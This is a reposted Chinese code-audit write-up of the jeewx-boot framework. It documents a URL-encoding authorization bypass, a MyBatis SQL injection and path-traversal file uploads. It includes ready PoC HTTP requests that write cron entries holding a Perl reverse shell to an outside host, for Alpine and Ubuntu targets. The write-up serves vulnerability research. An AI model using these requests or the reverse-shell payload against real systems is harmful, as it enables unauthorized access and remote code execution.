『代码审计』jeewx-boot 代码审计

admin 2024年8月14日21:58:09评论39 views字数 5079阅读16分55秒阅读模式

『代码审计』jeewx-boot 代码审计

0x00 前言

在最近的挖洞过程中,遇到了一个jeewx-boot,发现其在github上有源码,就对该项目进行了代码审计。

0x01 未授权访问漏洞

这个项目base-system是主要的模块,JeewxBootApplication是启动类。

『代码审计』jeewx-boot 代码审计

查看interceptors的拦截器。

『代码审计』jeewx-boot 代码审计

这里只是对用户请求的访问地址是否存在/back/进行判断,根据之前的学习,在spring mvc的全版本中存在url编码的方式进行绕过。

web验证:

『代码审计』jeewx-boot 代码审计

c进行url编码后,成功未授权。

『代码审计』jeewx-boot 代码审计

poc

GET /jeewx/system/ba%63k/jwSystemUser/list.do HTTP/1.1Host: 10.27.2.192Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=A10F2A55030557C1431BDDA8757AB0B1Connection: close

0x02 SQL注入

项目使用了Mybatis,使用codeql辅助分析。

jeewx-boot-1.0.0/jeewx-boot-module-weixin/src/main/java/com/jeecg/p3/commonweixin/service/impl/WeixinSystemProjectServiceImpl.java

该类editHdurl方法存在问题。

『代码审计』jeewx-boot 代码审计
『代码审计』jeewx-boot 代码审计

『代码审计』jeewx-boot 代码审计

发现其使用${}连接sql语句。

web验证,之前搭的环境掉了,找一个github的图。

『代码审计』jeewx-boot 代码审计

0x03 文件上传

通过codeqlCWE-022TaintedPath.ql发现多处可能存在文件上传漏洞的。

3.1 cmsAd#doUploadFile【未成功利用】

关键代码如下:

『代码审计』jeewx-boot 代码审计

这里获取文件名称后,未对文件格式进行校验,只是对文件名称进行了重命名操作。

『代码审计』jeewx-boot 代码审计

做了如下操作:

上传1.jsp1. 获取截取最后一个.之后的值,即.jsp2. 截取最后一个.之前的值,即13. 文件重命名为1+时间戳+.jsp

如果按照之前的分析,该系统会存在文件上传漏洞,但是重点在于其requestMultipartHttpServletRequestspringboot无法解析jsp文件。

所以这里虽然可以上传文件,但是无法解析webshell

根据网上的思路,如果没有对../进行限制,可以跨路径上传任意文件。利用起来的思路限制于linux的定时任务。

这里添加一个附属的知识:

使用 SpringBoot 中当没有自己手动配置的情况下默认使用的是StandardMultipartFile。在这种情况下直接通过 getOriginalFilename方法获取文件名后,不进行处理就使用会造成目录穿越漏洞。

『代码审计』jeewx-boot 代码审计

(1)上传

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../var/spool/cron/crontabs/root文件。

但是因为此处的文件重命名操作的逻辑,无法利用,无后缀名的文件,会在../处添加时间戳的文件夹,导致无法进行准确的匹配路径。

『代码审计』jeewx-boot 代码审计

『代码审计』jeewx-boot 代码审计

(2)在进行文件上传时进行了后缀检查,如果不是xlsx或者xls后缀的话,拒绝请求。因为/etc/cron.d/目录下的文件可以任意后缀命名,那么此时可以上传文件名为…/…/…/…/…/…/etc/cron.d/test.xls绕过对应的安全检查。

复现过程中发现,同var/spool/cron/crontabs下的路径一样,必须得无文件后缀名,才会执行定时任务反弹shell

复现不成功!!!

3.2 jwSystemActTxt#doupload

『代码审计』jeewx-boot 代码审计

查看代码,进行了如下操作:

上传444.jpg1. 获取其后缀名.jpg2. imgurl的值为当前的日期(/2023/02/28)+随机uid+.jpg的格式3. 存储路径前添加/upload/img/fx4. 如果文件不存在,就创建这个文件为路径[dir直接创建了带有.jpg的路径,而不是文件,从而无法执行后续操作]

根据上述描述,这里只截取文件后缀,然后名称是随机的。无法进行任意文件路径写入。

且因存在bug,无法进行文件上传。

3.3 jwSystemProject#doUpload【Linux下可利用】

『代码审计』jeewx-boot 代码审计

没有对文件名称进行处理,也没有对../进行限制,可通过写入计划任务的方式进行反弹shell

验证:

上传文件名如下:

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d/root1

Alpine系统文件内容如下:

*/1 * * * * root perl -e 'use Socket;$i="192.168.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##

此处需要注意的是必须带着##符号。

ubuntu系统文件名如下:

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../var/spool/cron/crontabs/ro

文件内容如下:

*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

kali为例:

『代码审计』jeewx-boot 代码审计
『代码审计』jeewx-boot 代码审计

『代码审计』jeewx-boot 代码审计

poc:

POST /jeewx/system/ba%63k/jwSystemProject/doUpload.do HTTP/1.1Host: 192.168.0.130Content-Length: 1105User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6TEqfAKmRAkb47k6Accept: */*Origin: http://192.168.0.1Referer: http://192.168.0.1/jeewx/system/back/jwSystemProject/toEdit.do?id=4e450f396b294d94a1ff29b50adb50a4Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=941EEF7FA994C93487C28DB1DD0CC472; Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1669012102; Hm_lvt_6f6dcdf1cf6beff0de1b03f3e959c679=1677550367; Hm_lpvt_6f6dcdf1cf6beff0de1b03f3e959c679=1677551895Connection: close------WebKitFormBoundary6TEqfAKmRAkb47k6Content-Disposition: form-data; name="id"WU_FILE_0------WebKitFormBoundary6TEqfAKmRAkb47k6Content-Disposition: form-data; name="name"333.png------WebKitFormBoundary6TEqfAKmRAkb47k6Content-Disposition: form-data; name="type"image/png------WebKitFormBoundary6TEqfAKmRAkb47k6Content-Disposition: form-data; name="lastModifiedDate"Wed Sep 09 2020 15:28:26 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´)------WebKitFormBoundary6TEqfAKmRAkb47k6Content-Disposition: form-data; name="size"11772------WebKitFormBoundary6TEqfAKmRAkb47k6Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d/root1"Content-Type: image/png*/1 * * * * root perl -e 'use Socket;$i="192.168.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##------WebKitFormBoundary6TEqfAKmRAkb47k6--

也可参考:

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks

尝试RCE,但是有一定概率因为编码问题无法成功,但是如果服务器重启或服务重新部署,就会产生RCE

3.4 myJwWebJwid#doUpload

『代码审计』jeewx-boot 代码审计

对文件进行了重命名。

且必须包含后缀,无法进行利用。

3.5 weixinNewsitem#doUpload

『代码审计』jeewx-boot 代码审计

同之前类似,对文件进行了重命名,且必须包含后缀,无法进行利用。

0x04 结语

本篇文章是对jeewx-boot框架进行的代码审计,通过codeql辅助进行审计,就使用体验来说还是蛮不错的。

 

原文始发于微信公众号(黑白之道):『代码审计』jeewx-boot 代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月14日21:58:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』jeewx-boot 代码审计https://cn-sec.com/archives/3066833.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息